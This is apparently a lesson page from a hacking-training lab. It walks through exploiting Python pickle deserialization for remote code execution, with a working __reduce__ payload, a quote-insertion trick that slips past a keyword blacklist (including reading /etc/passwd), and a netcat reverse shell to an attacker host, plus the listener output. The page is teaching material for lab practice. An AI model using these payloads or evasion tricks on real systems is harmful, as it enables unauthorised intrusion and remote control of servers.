Introduction to Deserialization Attacks  

Remote Code Execution


Getting RCE

In the previous section, we generated a cookie value to give ourselves admin access to the website. As a final objective, we will try and abuse the known deserialization to get remote code execution on the web server.

You may have already noticed in the Identifying a Vulnerability section that there is some sort of blacklist filter in the util.auth.cookieToSession function before the cookie is deserialized. We will need to keep this in mind as we develop our exploit:

...
def cookieToSession(cookie):
    b = base64.b64decode(cookie)
    for badword in [b"nc", b"ncat", b"/bash", b"/sh", b"subprocess", b"popen"]:
        if badword in b:
            return None
    p = pickle.loads(b)
    return p
...

We know that we control a value that will be passed to pickle.loads(). If we take a look at the documentation about (un-)pickling in Python 3, we will find a lot of information describing the process. The section which is interesting for us right now is the description for the object.__reduce__() function.

Reading about object.__reduce__(), we see that it returns a tuple that contains:

  • A callable object that will be called to create the initial version of the object.

  • A tuple of arguments for the callable object.

What this means exactly is that when a pickled object is unpickled, if the pickled object contains a definition for __reduce__, it will be used to restore the original object. We can abuse this by returning a callable object with parameters that result in command execution.

Included in the list of words banned by util.auth.cookieToSession are subprocess and Popen. This would be one way to achieve command execution in Python (e.g. subprocess.Popen(["ls", "-l"])). There are, of course, many other ways to achieve this, so to bypass the filter, we can choose something else.

In this case, we want to execute os.system("ping -c 5 <ATTACKER_IP>"), just to check if the command execution works. This means we will need to define __reduce__ so it returns os.system as the callable object and "ping -c 5 <ATTACKER_IP>" as the argument. Since __reduce__ requires a tuple of arguments we will use ("ping -c 5 <ATTACKER_IP>",). We create a new file named exploit-rce.py with the following contents:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return os.system, ("ping -c 5 <ATTACKER_IP>",)

r = RCE()
p = pickle.dumps(r)
b = base64.b64encode(p)
print(b.decode())

Running this file, we will get a base64-encoded value that we should be able to set the authentication cookie to and achieve RCE.

[!bash!]$ python3 exploit-rce.py 

gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==

Testing Locally

If we test the payload locally...

[!bash!]$ python3

Python 3.10.7 (main, Oct  1 2022, 04:31:04) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import util.auth
>>> s = util.auth.cookieToSession('gASVLgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBNwaW5nIC1jIDUgMTI3LjAuMC4xlIWUUpQu')
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.041 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.041 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.041 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4076ms
rtt min/avg/max/mdev = 0.041/0.041/0.044/0.001 ms

...and run tcpdump to capture the ICMP packets so we can confirm the RCE:

[!bash!]$ sudo tcpdump -i lo

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:28:15.131656 IP view-localhost > view-localhost: ICMP echo request, id 63693, seq 1, length 64
15:28:15.131668 IP view-localhost > view-localhost: ICMP echo reply, id 63693, seq 1, length 64
15:28:16.135472 IP view-localhost > view-localhost: ICMP echo request, id 63693, seq 2, length 64
...

Running against the Target

With the RCE confirmed, let's go for a reverse shell. For this we will want to run nc -nv <ATTACKER_IP> 9999 -e /bin/sh on the machine, but the words nc and /sh are blacklisted. There are many ways we can get around this, one of which is a very simple trick: we can insert single quotes into the blacklisted words. The filter will not detect them anymore, and the shell will ignore them when executing the command. For example:

[!bash!]$ h'e'ad /e't'c/p'a's's'wd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

With this in mind, we can update exploit-rce.py to contain our payload, which should bypass the blacklist filter and give us a reverse shell.

...
class RCE:
    def __reduce__(self):
        return os.system, ("n''c -nv 172.17.0.1 9999 -e /bin/s''h",)
...

Running the file gives us the base64-encoded value:

[!bash!]$ python3 exploit-rce.py 

gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==

We can start a Netcat listener locally, and then paste the value from above into cookie value and reload the page to receive a reverse shell:

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:32823.
ls -l
total 56
-rw-r--r--    1 root     root           184 Oct 11 12:55 Dockerfile
drwxr-xr-x    1 root     root          4096 Oct 11 13:10 __pycache__
-rw-r--r--    1 root     root          2038 Oct 11 12:57 app.py
-rw-r--r--    1 root     root            37 Oct 10 16:51 flag.txt
-rw-r--r--    1 root     root         20480 Oct 11 13:10 htbooks.sqlite3
-rw-r--r--    1 root     root            27 Oct 11 12:59 requirements.txt
drwxr-xr-x    4 root     root          4096 Oct 10 16:51 static
drwxr-xr-x    2 root     root          4096 Oct 10 16:51 templates
drwxr-xr-x    1 root     root          4096 Oct 10 16:51 util

Note that using this cookie value with result in an Internal Server Error since we are not passing a legitimate util.auth.Session object to util.auth.cookieToSession, but the command still ran, so it is alright in our case.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next